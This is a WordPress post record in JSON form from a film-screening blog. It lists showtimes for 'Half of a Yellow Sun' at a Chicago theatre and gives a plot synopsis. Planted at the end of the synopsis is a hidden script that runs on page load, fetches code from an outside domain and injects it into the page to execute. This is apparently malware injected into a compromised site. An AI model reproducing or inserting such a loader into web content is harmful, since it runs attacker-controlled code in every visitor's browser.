{"id":6497,"date":"2017-05-12T07:30:48","date_gmt":"2017-05-12T12:30:48","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=6497"},"modified":"2025-06-03T00:29:05","modified_gmt":"2025-06-03T05:29:05","slug":"half-a-yellow-sun-a-film-by-biyi-bandele","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2017\/05\/12\/half-a-yellow-sun-a-film-by-biyi-bandele\/","title":{"rendered":"Half A Yellow Sun a film by Biyi Bandele"},"content":{"rendered":"<p>Half A Yellow Sun, UK\/Nigeria, 2013, 111min<br \/>\nDirector: Biyi Bandele<br \/>\nMay 12-19<br \/>\n<a class=\"button tiny dkgray\" href=\"https:\/\/www.studiomoviegrill.com\/Ticketing\/Start\/half-of-a-yellow-sun\/Chatham\/2017\/05\/12\/11\/30\/AM\">11:30 A<\/a>,\u00a0<a class=\"button tiny dkgray\" href=\"https:\/\/www.studiomoviegrill.com\/Ticketing\/Start\/half-of-a-yellow-sun\/Chatham\/2017\/05\/12\/02\/10\/PM\">2:10 P<\/a>,\u00a0<a class=\"button tiny dkgray\" href=\"https:\/\/www.studiomoviegrill.com\/Ticketing\/Start\/half-of-a-yellow-sun\/Chatham\/2017\/05\/12\/04\/50\/PM\">4:50 P<\/a>,\u00a0<a class=\"button tiny dkgray\" href=\"https:\/\/www.studiomoviegrill.com\/Ticketing\/Start\/half-of-a-yellow-sun\/Chatham\/2017\/05\/12\/07\/30\/PM\">7:30 P<\/a>,\u00a0<a class=\"button tiny dkgray\" href=\"https:\/\/www.studiomoviegrill.com\/Ticketing\/Start\/half-of-a-yellow-sun\/Chatham\/2017\/05\/12\/10\/10\/PM\">10:10 P<\/a><br \/>\nStudio Movie Grill Chatham<br \/>\n210 W 87th St<br \/>\nFREE PARKING<\/p>\n<p>During the mid-to-late sixties, twin sisters Olanna (Thandie Newton) and Kainene (Anika Noni Rose) return to Nigeria after their education in England, they make decisions that shock their family. Olanna moves in with her lover, the \u2018revolutionary professor\u2019 Odenigbo (Chiwetel Ejiofor) and his houseboy Ugwu (John Boyega) while Kainene takes over the family interests and pursues a career as a businesswoman, falling in love with Richard (Joseph Mawle), an English writer. As the Igbo people struggle to establish Biafra as an independent republic, the sisters attention now shifts to the brutal violence unfolding in the Nigerian Civil War<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Half A Yellow Sun, UK\/Nigeria, 2013, 111min Director: Biyi Bandele May 12-19 11:30 A,\u00a02:10 P,\u00a04:50 P,\u00a07:30 P,\u00a010:10 P Studio Movie Grill Chatham 210 W 87th St FREE PARKING During the mid-to-late sixties, twin sisters Olanna (Thandie Newton) and Kainene (Anika Noni Rose) return to Nigeria after their education in England, they make decisions that shock [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6504,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[82,8,3],"tags":[],"class_list":["post-6497","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-african-film","category-future_programming","category-monthly-screenings-at-chatham-14"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/6497","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=6497"}],"version-history":[{"count":4,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/6497\/revisions"}],"predecessor-version":[{"id":7522,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/6497\/revisions\/7522"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/6504"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=6497"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=6497"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=6497"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}